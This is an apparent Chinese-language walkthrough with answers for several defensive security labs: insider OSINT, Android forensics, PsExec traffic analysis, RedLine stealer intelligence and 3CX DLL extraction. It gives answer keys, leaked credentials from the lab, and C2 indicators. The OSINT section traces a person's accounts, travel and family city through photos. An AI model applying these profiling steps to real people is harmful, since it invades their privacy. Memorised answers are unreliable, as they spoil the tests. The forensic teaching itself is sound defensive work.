内鬼用户 EMarseille99 是一家软件咨询公司的后端程序员。最近的一个项目是Project-Build---Custom-Login-Page 的存储库。这个库是一个用JavaScript编写的工作项目,并且可以公开访问,这引起了人们对敏感信息潜在暴露的担忧。公共存储库通常会带来安全风险,特别是当代码中包含了不正确保护的凭据或敏感数据时。

我们查看这个仓库的历史提交记录(最上面一条是黑客提交的),第二条记录中可以看到添加的API

image-20250219234011988

image-20250219234119097

答案:aJFRaLHjMXvYZgLPwiJkroYLGRkNBW

Q2:File-> GitHub .txt:内幕人士添加到他的GitHub仓库的明文密码是什么?

通过检查内部人员的GitHub仓库,可以发现代码中嵌入的其他敏感信息。在存储库中,特别是在提交历史中,对 Login Page.js 文件有一个更新,该文件似乎包含HTML和JSP代码。这个文件似乎负责处理用户登录功能,包括用户名和密码的验证。这些文件通常是调查的目标,因为它们可能暴露与认证过程相关的关键数据。

我们可以在这个项目最早的历史更改记录中找到源码中明文存储的账号和密码:

image-20250220172107153

base64解码密码即可

调查应该首先分析该密码是否在多个系统或账户中重复使用,因为内部人员经常为了方便而复制证书。此外,必须仔细检查与此凭据关联的日志和访问记录,以确定是否执行了未经授权的操作。缓解措施应包括撤销访问、强制重置密码和强制执行安全编码实践,以防止未来发生类似的风险。

答案:PicassoBaguette99

Q3:File -> Github.txt:内部人士使用什么加密货币挖矿工具?

Cryptocurrency mining 是通过复杂的计算算法验证并将事务添加到区块链网络的过程。这个过程涉及解决加密谜题,当成功完成时,奖励给矿工加密货币代币。挖矿通常需要大量的计算资源,攻击者有时会利用被入侵的系统来部署挖矿软件,在未经授权的情况下有效地劫持资源。这种恶意行为被称为加密劫持(cryptojacking),可能会导致受害者的性能下降、功耗增加和经济损失。

我们可以发现内鬼的Github仓库列出了 XMRig 的一个fork,作为可用的项目之一。

image-20250220233948593

XMRig 是一款开源的加密货币挖矿软件,主要用于挖掘Monero (XMR),一种专注于隐私的数字货币。它支持RandomX, CryptoNight, AstroBWT和Argon2挖掘算法,这些算法针对CPU和GPU性能进行了优化。XMRig由于其高效和可配置性而被广泛使用,但它也因嵌入恶意软件和用于非法加密劫持活动的脚本而臭名昭著。攻击者通常将XMRig部署在已被入侵的机器上,以秘密挖掘Monero,利用其匿名交易特性隐藏踪迹。

此工具明确描述为支持CPU和GPU挖掘算法,表明其用于加密货币挖掘目的。仓库中 XMRig 的存在表明,内部人员可能利用此工具进行合法目的或恶意活动,例如在受攻击的网络中进行未经授权的加密劫持。

答案:XMRig

Q4:这位内部人员在哪个游戏网站上有账号?

为了确定内部人员是否在任何游戏网站上维护账户,我们首先利用 OSINT (开源情报)技术。>涉及从各种在线来源收集公开可用的信息,以揭露有关个人、组织或活动的数据。它是网络安全调查中绘制数字足迹、分析嫌疑人以及发现在线身份之间潜在联系的重要方法。在这种情况下,我们使用 Sherlock ,一个专门的 OSINT 工具,旨在跨众多平台和服务搜索用户名。

pipx install sherlock-project

我们再搜索相关账号

sherlock EMarseille99

image-20250221104921768

(这工具只对国外网站用户有奇效,国内的不好找)

实际上我们谷歌搜索也可以找到内鬼的社交账号:

image-20250220234745513

主要是我们找到了他的steam账号

image-20250220234839710

答案:steam

Q5:到Instagram个人资料的链接是什么?

由上题可以得到答案

答案:https://www.instagram.com/emarseille99/

Q6:这位知情人假期去了哪个国家?

进入内鬼的社交媒体,然后识图

image-20250220235018415

这里我用了AI识图,因为真的很方便

Photo Location Search using AI

image-20250220235953105

答案是在新加坡

答案:Singapore

Q7:内鬼一家住在哪个城市?

根据社交媒体中的信息继续分析:

image-20250221003511649

image-20250221003209163

根据国旗我们可以知道应该是在阿联酋(United Arab Emirates)但答案不是沙迦

image-20250221004709567

第二张图片找到地点是迪拜,谷歌识图能找出来

image-20250221004948310

答案:Dubai

Q8:File-> office.jpg:你已经得到了公司有办公室的大楼的图片。公司位于哪个城市?

谷歌识图

image-20250221005219287

根据路牌上的标识也可以找出是伯明翰这一片地方

image-20250221005857126

答案:Birmingham

Q9:File->WebCam.png有了你提供的情报,我们的地面监视单元现在正在监视嫌疑人的可疑地址。他们看到他们离开公寓,就跟着他们去了机场。他们的飞机起飞并降落在另一个国家。我们的情报小组用这个IP摄像头发现了目标。这台相机处于哪个州?

谷歌识图

image-20250221010140876

圣母大学在印第安纳州

答案:Indiana

The Crime Lab(安卓取证)

我们目前正在调查一起谋杀案,我们已经拿到了被害人的手机作为关键证据。在与目击者和受害者的核心圈子进行面谈后,你的目标是仔细分析我们收集到的信息并努力追踪证据以拼凑出导致事件发生的一系列事件。

Q1:根据目击者和与受害者关系密切的个人的描述,已经清楚地表明,受害者对交易感兴趣。这导致他把所有的钱都用于投资,并获得了债务。你能识别出受害者手机上主要使用的交易应用程序的 SHA256 吗?

为了解决这一任务,我们首先了解Android系统的意义以及日志在取证分析中的作用。Android设备建立在一个强大的生态系统上,其中用户交互、应用程序使用和系统事件被记录并存储在各种文件中。这些日志,连同数据库条目和其他系统工件,对于取证调查人员来说是非常有用的,因为它们允许重建用户活动和事件时间表。

在本次调查中,我们使用了专门针对Android文件系统解析而设计的取证工具 Android Logs, Events, and Protobuf Parser (ALEAPP) 。ALEAPP能够分析Android工件,如应用程序数据、用户活动和系统日志。该工具在重建设备状态和理解用户行为方面特别有用。通过将ALEAPP定向到提取的受害者手机文件系统,我们配置它从所有可用模块中提取和处理数据,包括账户、通知、应用交互和已安装的应用程序。

项目地址:GitHub - abrignoni/ALEAPP: Android Logs Events And Protobuf Parser

我们将题目给的安卓data文件夹导入:

image-20250221105713616

ALEAPP会生成一个详细和分类的报告,有助于我们的取证分析。

image-20250221112821849

找到了交易的Android软件,根据包名称找到其哈希值:

image-20250221112931387

答案:4f168a772350f283a1c49e78c1548d7c2c6c05106d8b9feb825fdc3466e9df3c

Q2:根据受害者最好的朋友的证词,他说:“ While we were together, my friend got several calls he avoided. He said he owed the caller a lot of money but couldn't repay now ”。受害人欠这个人多少钱?

Android设备维护着SMS和MMS通信的详细日志,并将它们存储在通常位于手机内部存储中的数据库中。这些数据库包含消息内容、时间戳、发送方和接收方详细信息以及交付状态等信息。这些信息对于重构对话和理解手机用户与其联系人之间的交互至关重要。

在发送的短信中可以找到

image-20250221173432178

通过对这个短信制品的分析,我们可以更深入地了解受害者在事件发生前的经济关系以及他们所承受的压力。这条信息提供了一笔巨额金钱冲突的证据,这是正在进行的调查中的一个关键问题。

答案:250000

Q3:受害人欠钱的人叫什么名字?

由上题可知联系人电话号码为+201172137258,我们直接在联系人中查看:

image-20250221212136942

关了翻译就是答案

答案:Shady Wahab

Q4:根据受害者家属的陈述,他们说在September 20, 2023时,他没有告诉任何人他的目的地就离开了他的住所。受害人当时在哪里?

为了确定受害者在2023年9月20日的位置,我们依赖于从受害者的Android设备中检索的gps相关数据的分析。GPS数据在司法调查中起着至关重要的作用,因为它可以根据设备与地图应用程序、位置服务或地理标记活动的交互来确定设备的物理位置。Android设备将这些数据存储在各种系统文件中,包括活动日志和最近使用的应用程序的快照。

我们可以找到受害者最近使用的谷歌地图快照,并且在9月20日的23:50,时间基本吻合

image-20250221212428953

答案:The Nile Ritz-Carlton

Q6:侦探继续调查,询问了旅馆的大厅。她告诉他,受害者预订了10天的房间,并安排了10天后的航班。调查人员认为,受害者可能在他的手机上存储了他的车票信息。寻找受害者打算去的地方。

为了确定受害者的目的地,我们查看了存储在受害者手机上的通信日志。Android设备通常会保留即时通讯应用的数据,包括聊天日志、时间戳和其他元数据。这些日志可以让我们深入了解受害者的计划和互动。在本次分析中,我们重点研究了使用ALEAPP提取的Discord聊天日志,因为受害者经常使用该平台进行通信。

image-20250221213017095

image-20250221213116925

我们可以发现受害者生前与rob1ns0n.相约在The Mob Museum见面,搜索地址

image-20250221213528733

答案:Las Vegas

Q7:在检查了受害者不一致的聊天记录后,我们发现他安排了在一个特定的地点与一个朋友见面。你能确定会议应该在哪里举行吗?

由上题可以知道

答案:The Mob Museum

PsExec Hunt Lab(流量分析)

来自入侵检测系统(IDS)的警报标记了涉及PsExec的可疑横向运动活动。这表明潜在的未经授权的访问和跨网络移动。作为一个SOC分析师,你的任务是调查提供的PCAP文件,以跟踪攻击者的活动。确定他们的入口点、被攻击的机器、入侵的程度,以及在被攻击的环境中显示他们的战术和目标的任何关键指标。

PsExec 是一个由 Sysinternals(现为 Microsoft)提供的工具,允许用户在远程计算机上执行进程。它广泛用于 Windows 系统管理和自动化任务,尤其是在没有直接登录到目标机器的情况下执行命令或脚本。

PsExec 的基本行为模式如下:

  1. 远程连接到目标计算机
    • PsExec 通过网络连接到目标计算机,需要知道目标计算机的名称或 IP 地址。默认情况下,它会使用 SMB 协议(端口 445)来进行连接。
    • 目标计算机必须启用远程管理功能,且相应的网络共享(如 Admin$)要可访问。
  2. 身份验证
    • 在执行命令前,PsExec 需要使用提供的凭据(用户名和密码)来进行身份验证。
    • 这些凭据可以是当前用户的凭证,或者通过 -u-p 参数指定的用户名和密码。
    • 默认情况下,PsExec 使用当前用户的权限执行命令。可以通过指定不同的用户账户和权限级别来提升或限制执行权限。
  3. 执行命令或程序
    • PsExec 将命令或程序发送到远程计算机,并在远程计算机上执行。
    • 例如,你可以指定在远程计算机上执行一个批处理文件或启动一个可执行程序。
    • 如果需要,PsExec 可以打开交互式会话,使你能够在远程计算机上直接与命令行进行交互。
  4. 输出重定向
    • PsExec 支持将远程计算机上的标准输出(stdout)和错误输出(stderr)重定向到本地计算机或指定的文件中。
    • 可以使用 -o 选项将输出保存到本地文件。
  5. 在远程计算机上以特定用户身份执行
    • PsExec 允许指定不同的用户帐户来执行进程,这对于管理员权限的操作特别有用。
    • 使用 -h 参数可以请求提升权限,类似于在 Windows 中的 UAC(用户账户控制)。
  6. 执行后行为
    • PsExec 执行完成后,会将远程计算机上的所有输出返回给本地计算机,或将结果以日志文件的形式保存。
    • 如果进程或命令执行成功,它会返回一个零退出码;如果执行失败,则会返回非零退出码。

这里推荐一个分析流量包非常方便的在线网站📊 A-Packets: Online PCAP Analysis and Network Traffic Insights

Q1:为了有效追踪攻击者在我们网络内的活动,你能识别攻击者最初获取访问权限的机器的IP地址吗?

为了寻找攻击者的IP地址,我们首先分析流量包的会话

image-20250222003051052

按照端点之间流量大小排序,可以发现10.0.0.130发送的流量最多,我们进行过滤分析:

image-20250222003307730

image-20250222003327185

这一段存在许多包含用户名、文件创建和关闭请求以及其他相关活动,最主要的是创建了用于PsExec连接用的.key文件

答案:10.0.0.130

Q2:为了全面了解入侵的程度,你能确定攻击者最初攻击的机器的主机名吗?

在相关的数据包中找到了NetBIOS domain name

NetBIOS 计算机名称(NetBIOS computer name)是用于标识局域网(LAN)中每台计算机的唯一名称,基于 NetBIOS(Network Basic Input/Output System)协议。

image-20250222004640823

在Wireshark中使用 ntlmssp.challenge.target_name 过滤器来定位challenge消息并识别目标机器的主机名。目标机器发送 NTLMSSP Challenge 来安全地验证客户端的身份,而不会暴露敏感信息。

NTLM 认证协议主要包含三个阶段:

初始请求(Negotiate):客户端向服务器请求身份验证。
挑战阶段(Challenge):服务器向客户端发出一个挑战消息。
响应阶段(Authentication):客户端响应服务器的挑战消息,完成身份验证。

NTLMSSP Challenge 消息是 NTLM 身份验证过程的一部分,通常出现在客户端尝试通过 NTLM 协议进行身份验证时。

要找到主机名,请检查质询消息中的 Target Name 字段。

答案:SALES-PC

Q3:知道攻击者用于身份验证的账户的用户名,可以让我们了解入侵的程度。攻击者用来认证的用户名是什么?

PsExec经常在SMB通信中嵌入身份验证细节。在Wireshark中,SMB会话设置包的过滤器,因为这些包通常包含用于身份验证的用户凭据。

根据前面的分析,可以发现攻击者发送的(10.0.0.130->10.0.0.133)用来认证的用户数据包中User为\ssales

在Wireshark中使用 ntlmssp.auth.username 过滤器从NTLMSSP认证消息中提取用户名。此过滤器突出显示在身份验证期间提交的帐户名称,这是了解访问细节的关键。

答案:ssales

Q4:在弄清楚攻击者是如何在我们的网络内移动的之后,我们需要知道他们在目标机器上做了什么。攻击者在目标上设置的服务可执行文件的名称是什么?

PsExec通常在目标上为服务设置安装一个特定的可执行文件。此可执行文件用于创建和管理远程执行所需的服务。检查SMB是否有可执行文件传输。

根据之前的发现上传的文件数据包我们可以直接填写答案

image-20250222010822154

也可以用导出功能分析流量包中传的文件

image-20250222010857796

答案:PSEXESVC

Q5:我们需要知道攻击者如何在被入侵的机器上安装服务,以了解攻击者的横向移动策略。这可以帮助识别其他受影响的系统。PsExec 用来在目标机器上安装服务的网络共享是哪一个?

使用过滤器 smb2.tree ,重点关注用于远程访问Windows系统目录的默认管理共享。这种共享通常可以通过管理凭证访问,并且经常是 PsExec 之类的工具用于部署服务可执行文件的目标。

image-20250222011038651

可以发现PSExec.exe在\ADMIN$中被创建

答案:ADMIN$

Q6:我们必须确定用于在两台机器之间进行通信的网络共享。PsExec使用哪个网络共享进行通信?

PsExec 经常利用特定的共享来在机器之间执行命令。检查 SMB 通信,查看这些共享上的活动,并检查是否有任何文件名包含 stdout , stdin ,或 stderr

image-20250222012446315

我们可以发现PSEXECSVC 也在 \10.0.0.133\IPC$ 上创建,这意味着攻击者除了使用 ADMIN$ 网络共享外,还使用了这个共享。

Q7:现在我们对攻击者在被入侵机器上的活动有了更清晰的了解,识别任何进一步的横向移动就很重要了。在我们的网络中,攻击者要攻击的第二台机器的主机名是什么?

和Q2一样,使用过滤器 ntlmssp.challenge.target_name 来识别攻击者为横向渗透而攻击的第二台机器。

检查质询消息中的 Target NameNetBIOS Computer Name 字段。

image-20250222012806861

答案:MARKETING-PC

Red Stealer Lab(恶意软件分析)

您是SOC(安全操作中心)威胁情报团队的一员。在一位同事的电脑上发现了一个可执行文件,并怀疑它链接到一个命令和控制(C2)服务器,这表明有潜在的恶意软件感染。

你的任务是通过分析它的散列值来调查这个可执行文件。目标是收集和分析对其他SOC成员有益的数据,包括事件响应团队,以有效地应对这种可疑行为。

Q1:对恶意软件进行分类可以更快更容易地了解其不同的行为和攻击向量。被识别的恶意软件的类别是什么?

在VirusTotal上搜索哈希值,可以发现其被识别为trojan(木马)

image-20250222123905317

答案:trojan

Q2:清楚地识别恶意软件文件的名称有助于SOC团队之间的沟通。这个恶意软件的文件名是什么?注意:不要在文件名中包含文件扩展名。

由上题可知这个恶意软件的文件名是WEXTRACT.EXE.MUI

答案:WEXTRACT

Q3:知道恶意软件首次被观察到的确切时间戳可以帮助确定响应行动的优先级。新检测到的恶意软件可能需要紧急遏制和根除相比,较早的,有良好记录的威胁。恶意软件第一次提交给VirusTotal的UTC时间是多少?

在DETAILS中查看:

image-20250222124338348

答案:2023-10-06 04:41

Q4:了解恶意软件使用的技术有助于制定战略安全规划。在数据外泄之前,恶意软件从系统收集数据的 MITRE ATT&CK 技术 ID 是什么?

在BEHAVIOR中找到恶意软件从系统收集数据的行为,旁边标记了其MITRE ATT&CK 技术 ID

image-20250222124856300

从系统收集数据——T1005

答案:T1005

Q4:执行后,恶意软件通过DNS查询解析了哪些社交媒体相关的域名?

同样的,在BEHAVIOR中找到其DNS解析请求,可以找到其解析的社交媒体相关域名:

image-20250222125316815

facebook.com 是社交媒体网站的主域名,而 connect.facebook.net 是 Facebook 用于与第三方连接的子域名(主要用于支持 Facebook 的各种社交功能和与第三方的交互,尤其是与广告、分享功能、身份验证、数据分析等相关的服务)

答案:facebook.com

Q5:一旦识别出恶意IP地址,就可以配置防火墙等网络安全设备来阻断往返这些地址的流量。你能提供恶意软件通信的IP地址和目的端口吗?

在BEHAVIOR的IP流通地址中可以找到无法解析的IP,因此该IP为攻击者的接收IP和端口

image-20250222130028724

答案:77.91.124.55:19070

Q7:YARA规则旨在识别特定的恶意软件模式和行为。由检测被识别到的恶意软件的作者“Varp0s”创建的YARA规则的名字是什么?

YARA 规则是用于帮助检测和识别恶意软件的工具,它是一种通过定义特征来描述文件的规则集,广泛应用于恶意软件分析和网络安全领域。YARA 规则被设计成可以扫描文件或内存中的内容,并根据规则进行匹配,从而帮助研究人员、分析师或安全专家发现恶意软件样本。

YARA 规则的应用

  • 恶意软件检测:YARA 是恶意软件分析和检测的重要工具。通过定义恶意软件样本的特征,YARA 可以帮助安全专家快速找到已知恶意软件样本。
  • 数字取证:YARA 规则也常用于数字取证,帮助分析和识别被攻击者利用的工具、文件或痕迹。
  • 恶意活动监控:通过在网络或文件系统中定期扫描,YARA 规则可以用来发现潜在的恶意活动。

MalwareBazaar | Malware sample exchange中搜索相关信息(注意搜索语法为sha256:248fcc901aff4e4b4c48c91e4d78a939bf681c9a1bc24addc3551b32768f907b)

MalwareBazaar 是一个公开的恶意软件样本共享平台,专门用于恶意软件分析和研究。它由 abuse.ch 提供支持,目的是帮助网络安全专家、研究人员和防御系统发现、分析和共享恶意软件样本。MalwareBazaar 提供了一个在线平台,用户可以上传恶意软件样本,获取恶意软件样本的详细信息,以及与恶意软件相关的 YARA 规则。

image-20250222153514643

可以发现Varp0s使用的YARA规则名称是detect_Redline_Stealer

答案:detect_Redline_Stealer

Q8:了解哪些恶意软件家族正在针对组织有助于未来的战略安全规划,并根据威胁的严重性优先分配资源。你能根据 ThreatFox 提供的恶意 IP 地址列出与之相关的不同恶意软件别名吗

ThreatFox 是由 abuse.ch 提供的一个公开的威胁情报平台,专注于提供恶意软件、恶意域名、恶意 IP 地址、恶意 URL 和其他网络安全威胁的实时信息。它为安全分析师、网络管理员、研究人员和其他安全从业者提供一个集中式的数据源,用于识别和防御各种网络攻击。

ThreatFox | Share Indicators Of Compromise (IOCs)

我们在ThreatFox中搜索攻击者的IP地址,得出相关恶意软件别名(搜索语法为ioc:77.91.124.55):

image-20250222154620064

答案:RECORDSTEALER

Q9:通过识别恶意软件导入的dll,我们可以配置安全工具来监控这些特定dll的加载或异常使用。你能提供恶意软件用来提升权限的DLL吗?

我们可以在Modules loaded中的信息得到恶意软件加载的模块:

image-20250222164703353

其中包括了

APPHELP.DLL

APPHELP.DLL 是 Windows 操作系统中的一个动态链接库(DLL),它主要与应用程序兼容性有关。具体来说,APPHELP.DLL 负责提供有关旧版或不兼容程序的兼容性支持。这个 DLL 文件被 Windows 用来确定如何处理在较新版本的操作系统上运行的旧程序,确保这些程序能够运行或进行必要的修复。

advapi32.dll

advapi32.dll 是 Windows 操作系统中的一个核心动态链接库,包含了许多高级系统功能,特别是与安全、注册表访问和服务管理相关的功能。

恶意软件为了提升权限使用的dll必定是advapi32.dll

答案:advapi32.dll

3CX Supply Chain Lab(恶意软件分析)

一家大型跨国公司严重依赖 3CX 软件进行电话通信,使其成为公司业务运营的关键组成部分。在最近更新 3CX 桌面应用程序后,防病毒警报偶尔会提示该软件从一些工作站中被删除,而其他工作站则未受影响。IT 团队认为这是误报,因而忽略了这些警报,但随后注意到性能下降以及与未知服务器之间出现奇怪的网络流量。员工报告 3CX 应用程序出现问题,IT 安全部门发现与最近软件更新相关的异常通信模式。

作为威胁情报分析师,您有责任调查此次可能的供应链攻击。您的目标是查明攻击者是如何攻破 3CX 应用程序的,确定可能涉及的威胁行为者,并评估此次事件的整体影响范围。

Q1:了解攻击的范围并确定哪些版本存在恶意行为对于在组织中存在这些受感染版本的情况下做出明智的决策至关重要。在 Windows 上运行的 3CX 有多少个版本被标记为恶意软件?

为了调查此次攻击的范围,第一步是确定哪些版本的 3CX 桌面应用程序存在恶意行为。这一过程始于分析公开可用的威胁情报报告,这些报告提供了有关受影响软件版本和入侵指标(IOCs)的见解。威胁情报是一种系统性的方法,用于收集和分析有关新出现威胁的数据,以做出明智的安全决策。在供应链攻击(例如 3CX 桌面应用程序被攻破)的背景下,这种方法包括检查已报告的漏洞、验证文件哈希值以及调查与该软件相关的网络流量异常。

查看像 MandiantCrowdStrikZscalerSentinelOne 这样的安全供应商发布的通告

Mandiant:18.12.416及更早版本

image-20250223160656376

CrowdStrik:windows有18.12.407和18.12.416两个版本被标为恶意软件

image-20250223160957560

直接搜也是有结果的,不一定用这三家:

image-20250223160809807

image-20250223161036241

答案:2

Q2:确定恶意软件的年龄有助于评估其危害范围,并追踪恶意软件家族和变种的发展。该 .msi 恶意软件的 UTC 创建时间是什么?

MSI 文件,即 Microsoft Installer 文件的简称,用于在 Windows 操作系统上安装软件。它们包含安装信息,包括文件、配置设置和脚本,这些都是设置或更新应用程序所必需的。由于支持自动化和自定义配置,这些文件在企业部署中特别有用。然而,它们的广泛使用也使它们成为恶意软件传播的热门途径,因为攻击者可以修改合法的 MSI 包以包含恶意负载,同时保持受信任软件的外观。

为了查看恶意软件的详细信息,你可能会想用windows的属性功能查看:

image-20250223161250942

但应该使用linux系统中的file命令查看其元数据:

image-20250223162553963

Windows 和 Linux 的定义不同:Windows 显示的是文件的创建时间,而 Linux 显示的是 ctime(文件元数据变化时间),这两个时间点并不相同。

不过最好是用恶意软件的hash值搜索其创建时间,网上的报告比较标准:

image-20250223162510057

image-20250223162541823

答案:2023-03-13 06:33

Q3:可执行文件( .exe )常被用作主要或次要的恶意软件有效载荷,而动态链接库( .dll )则经常加载恶意代码或增强恶意软件的功能。分析由微软软件安装程序( .msi )放置的文件对于识别恶意文件及其全部潜在危害至关重要。 .msi 文件释放了哪些恶意的动态链接库?

Dropper malware (投放型恶意软件)是一种恶意程序,旨在将额外的有效载荷交付到受感染的系统上。投放器通常以合法文件的形式出现,例如 MSI 安装程序,并在攻击的初始阶段用于绕过安全防御。一旦执行,投放器会提取并安装诸如木马、勒索软件或后门之类的次级有效载荷,使攻击者能够在网络中保持持久性、窃取数据或提升权限。分析投放器的行为对于识别入侵指标(IOCs)和了解感染链至关重要。

Dropper 的工作方式:

安装载体:首先,Dropper 恶意软件被安装到受害者的系统中,通常通过电子邮件附件、恶意网站、可疑下载或其他社会工程手段。

提取和执行恶意负载:安装后,Dropper 会下载并提取更具破坏性的恶意负载,通常是其他类型的恶意软件(例如远程访问木马、间谍软件、勒索软件等)。

绕过防御机制:Dropper 通常设计得非常隐蔽,能够绕过防病毒软件和其他安全防护措施,并且可能会通过加密或压缩恶意负载,以避免被发现。

执行恶意行为:一旦负载被成功释放,Dropper 会触发其恶意行为,给系统带来各种类型的攻击,如数据盗窃、系统损坏或勒索。

在这次调查中,分析了MSI文件以提取其嵌入的内容。第一步是使用 msiinfo streams 命令列出其流数据:

msiinfo streams 

image-20250223163547436

1. Binary.WixCA
描述:这个流包含了 Wix Custom Action(Wix 自定义操作)。Wix 是一个用来构建 Windows 安装程序的工具集,它允许开发者编写自定义的安装操作。Binary.WixCA 是一个二进制文件,通常是包含自定义操作代码的 DLL 文件或脚本。
用途:在安装过程中,Wix Custom Action 会被调用来执行额外的安装操作,比如注册服务、修改注册表、设置环境变量等。
2. product.cab
描述:product.cab 是一个 压缩包,通常用于存储安装程序所需的文件。它是一个 CAB 文件(Cabinet File),这种格式用来压缩文件并减少安装包的大小。
用途:该文件包含了要安装到系统中的实际产品文件,如应用程序的二进制文件、资源文件、配置文件等。安装过程中,安装程序会从 product.cab 中提取文件并将其复制到目标系统。
3. Binary.WixCA_x64
描述:这与 Binary.WixCA 类似,但针对的是 64 位操作系统。它包含了与 Wix Custom Action 相关的二进制文件(通常是 DLL 或其他代码),但专门为 64 位架构编译。
用途:用于在 64 位操作系统上执行特定的自定义操作。如果安装程序需要在 64 位系统上执行不同的操作,这个流将被调用。
4. Binary.WixFirewallCA
描述:这是与 Windows 防火墙 相关的一个自定义操作二进制文件,通常是 DLL 或脚本,能够在安装过程中进行防火墙配置。
用途:例如,它可能用于添加或修改 Windows 防火墙的规则,允许应用程序通过防火墙,或者禁用某些防火墙规则等。
5. DigitalSignature
描述:该流包含 MSI 文件的 数字签名。数字签名用于验证安装包的完整性和来源,确保文件在传输过程中没有被篡改,并且是由合法的发布者签署的。
用途:数字签名保证了安装程序的安全性和可信度。在许多操作系统和安全软件中,未签名或签名无效的安装包会被视为潜在风险,甚至被阻止安装。
6. SummaryInformation
描述:这个流包含有关 MSI 文件的 摘要信息,例如产品名称、版本、制造商等基本元数据。
用途:它提供了安装程序的基本信息,通常用于显示在安装界面或日志文件中,帮助用户了解安装包的详细信息。
7. MsiDigitalSignatureEx
描述:这是 MSI 文件的 扩展数字签名。它是为支持新的签名标准或算法(如 SHA-256)而增加的附加签名字段。
用途:类似于 DigitalSignature,但这个流可能包含更复杂的签名信息,用于支持更强的安全验证。

MSI 文件中的 Streams 是结构化存储元素,其作用类似于嵌入在 MSI 数据库中的文件或数据容器。采用 Windows 安装程序格式的 MSI 文件遵循 Compound File Binary 格式,从而能够在单个文件中存储多个流。这些流可以包含安装脚本、二进制文件、配置数据以及软件安装过程所需的其他资源。

MSI 文件中的每个流都有特定用途。例如,流可以存储压缩数据、自定义操作或有关安装的元数据。常见的流类型包括二进制流,用于保存可执行代码或 DLL,以及 CAB 流,用于包含压缩的安装文件。攻击者可以利用这些流嵌入恶意负载,因此在调查可能受感染的 MSI 文件时,分析师必须提取并检查流内容。像 msiinfo 这样的工具允许安全研究人员列出并提取这些流以作进一步检查。

综上所述,我们应该优先分析用于存储安装程序所需的文件——product.cab

使用msiinfo将其提取并解压:

msiinfo extract 3CXDesktopApp-18.12.416.msi product.cab >product.cab
7z x product.cab

image-20250223164439842

寻找其中的dll文件:

find . -type f -name "*.dll*" -exec sha256sum {} \;

-type f:这个选项表示只查找文件

-exec sha256sum {} \;

  • -exec 选项允许你对每个查找到的文件执行一个指定的命令。在这个例子中,sha256sum 是计算文件的 SHA-256 哈希值 的命令。
  • {} 是一个占位符,表示当前 find 命令查找到的每一个文件的路径。find 会将每个匹配的文件路径替换到 {} 的位置。
  • sha256sum 计算文件的 SHA-256 哈希 并输出。
  • \; 是命令的结束符,表示 -exec 后的命令结束。

image-20250223164805702

然后这些哈希值被上传至 VirusTotal 进行验证,具体来说, ffmpeg.dlld3dcompiler_47.dll 被认定为可疑,其检测率分别为 57/72 和 47/71。(很多安装程序或系统会自动给文件添加一个 唯一标识符(UUID)或 版本号,以避免文件覆盖或冲突,所以看到多的前缀后缀是正常的)

当然直接看恶意软件的报告中RELATIONS选项中也有:

image-20250223164953134

这些文件被归类为木马,并与供应链攻击相关联,突显了它们在此次入侵中的作用。通过分析这些动态链接库(DLL),安全团队能够更好地了解恶意软件的行为,评估其影响,并制定策略以减轻进一步的利用。这一过程表明,检查 MSI 安装程序及其组件以发现隐藏的有效载荷并加强针对供应链攻击的防御至关重要。

答案:ffmpeg.dll,d3dcompiler_47.dll

Q4:了解此次事件中所使用的持久化技术对于当前的缓解策略和未来的防御改进至关重要。 .msi 文件用于加载恶意 DLL 所采用的 MITRE 子技术 ID 是什么?

持久化是一种攻击者用来在系统重启或用户注销后仍能长期访问受感染系统的技术。它确保恶意代码或后门保持活跃状态,使威胁行为者能够在无需重新利用漏洞的情况下执行命令、窃取数据或部署额外的有效载荷。持久化技术通常利用系统机制,如计划任务、注册表修改、服务或动态链接库劫持,在系统启动或应用程序执行期间自动加载恶意软件。在这种情况下,分析恶意动态链接库是如何加载的对于识别持久化方法和实施有效的应对措施至关重要。

可以在MITRE ATT&CK - CyberDefenders中查找其采用的MITRE子技术ID

持久化(PERSISTENCE)

劫持执行流程(Hijack Execution Flow)攻击者通过劫持操作系统运行程序的方式来执行他们自己的恶意负载。

动态链接库侧加载(DLL Side-Loading)

同理,报告中可以找到相关:

image-20250223170133467

加载恶意 DLL——T1574.002

答案:T1574.002

Q5:识别恶意软件类型( threat category )对于您的调查至关重要,因为它可以为您提供有关您将要检查的可能恶意行为的宝贵见解。这两个恶意动态链接库(DLL)的威胁类别是什么?

根据之前的分析,这两个恶意动态链接库(DLL)—— ffmpeg.dlld3dcompiler_47.dll ——被归类为 trojan 木马。具体来说,它们被认定为木马加载器或供应链木马。木马通常充当交付机制,使攻击者能够加载额外的恶意负载、建立后门或执行远程命令。在这种情况下,这些 DLL 因表现出与 DLL 劫持和加载器功能一致的行为而被标记,表明它们在系统中进一步的入侵和持久化方面发挥了作用。明确这一分类有助于调查人员专注于分析这些 DLL 的代码和行为、追踪网络连接以及识别攻击期间部署的任何次级负载。

image-20250223170314189

image-20250223170343861

答案:trojan

Q6:作为从事动态分析的威胁情报分析师,了解恶意软件如何在虚拟化环境或分析系统中躲避检测至关重要。掌握这些知识有助于您有效缓解或应对这些规避策略。这两个恶意动态链接库(DLL)所使用的虚拟化/沙箱规避技术的 MITRE 标识符是什么?

沙盒(也称为隔离系统)旨在安全地执行和分析可能具有恶意的软件,同时不会对主机或网络造成损害。这些环境模拟真实的操作系统和行为,使安全分析师能够观察恶意软件的活动,例如文件操作、网络通信和注册表更改。然而,高级恶意软件通常会采用规避技术来检测虚拟化环境,从而有效地改变或停止其执行以避免被发现。这些规避策略阻碍了自动化分析,使得研究恶意软件的真实行为变得困难。

DISCOVERY(被发现)

Virtualization/Sandbox Evasion(虚拟化/沙箱规避)

image-20250223170817111

虚拟化/沙箱规避技术——T1497

答案:T1497

Q7:在进行恶意软件分析和逆向工程时,了解反分析技术对于避免浪费时间至关重要。在 ffmpeg.dll 文件中,反分析技术针对的是哪个虚拟机管理程序?

二进制检测技术是恶意软件用来识别和躲避调试器、沙箱和虚拟机(VM)等分析环境的方法。这些技术旨在通过在检测到此类环境时终止执行、改变行为或延迟操作来阻碍逆向工程工作。常见的方法包括检查调试器的特征、识别虚拟机的特定系统属性、检测沙箱特有的注册表项,或者利用时间延迟来避免触发分析工具。这些手段使得分析师难以研究恶意软件的行为,通常需要高级工具和配置才能绕过这些躲避措施。

ffmpeg.dll 的报告中有提到其反分析技术细节:

image-20250223171042634

System Checks(系统检查)引用针对VMWare的反虚拟机字符串

这种手段包括扫描系统标识符,例如设备名称、注册表项或驱动程序,这些标识符是 VMware 环境所特有的。如果检测到 VMware 的相关特征,恶意软件可能会终止其执行,或者以无害模式运行以躲避检测,从而给分析过程带来复杂性。

答案:VMware

